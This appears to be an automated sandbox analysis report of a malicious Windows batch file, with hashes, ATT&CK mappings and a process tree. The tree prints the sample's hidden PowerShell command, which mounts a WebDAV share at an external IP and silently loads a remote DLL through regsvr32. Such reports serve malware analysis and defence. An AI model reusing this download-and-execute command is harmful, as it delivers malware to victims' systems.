0c8d9d19b6e6042a16458ca2f093f8e80f230d632e7fd073a7cd5beb85f2c387

Analysis

max time kernel
140s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 18:11

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General

Target

177841922459405724.bat
Size

20KB
MD5

6a77aae8a310023d70b93acb2affb8cf
SHA1

2b5f70405e9fa9c7bd5eae7cb1ab0dd9d144b5d7
SHA256

0c8d9d19b6e6042a16458ca2f093f8e80f230d632e7fd073a7cd5beb85f2c387
SHA512

4ce0638a4498f16be494f80aa7045c2ee47ee1e9241a6a537433b340a48f27587b920fca50562d9806af936ab45cec5fa89fb6df338eb4070ee75bff4ac0f349
SSDEEP

384:w2oGA1xwt+8+Se1mIj6kge2mw8HR2QcXF/e4tj9bbg7KVPVADiTJ5er9LSMtOtOH:w2oGAy+8+Se1mLeU+R23F/l5qWMtOUW4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2292	powershell.exe
2292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4908	wordpad.exe
4908	wordpad.exe
4908	wordpad.exe
4908	wordpad.exe
4908	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 4908	2972	cmd.exe	87
PID 2972 wrote to memory of 4908	2972	cmd.exe	87
PID 2972 wrote to memory of 2292	2972	cmd.exe	89
PID 2972 wrote to memory of 2292	2972	cmd.exe	89
PID 2292 wrote to memory of 1932	2292	powershell.exe	91
PID 2292 wrote to memory of 1932	2292	powershell.exe	91
PID 2292 wrote to memory of 4736	2292	powershell.exe	92
PID 2292 wrote to memory of 4736	2292	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\177841922459405724.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25013165201418.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1932
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\25013165201418.dll
    3⤵
    PID:4736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rd31gtds.f4y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2292-6-0x0000022ED77B0000-0x0000022ED77D2000-memory.dmp

Filesize
136KB

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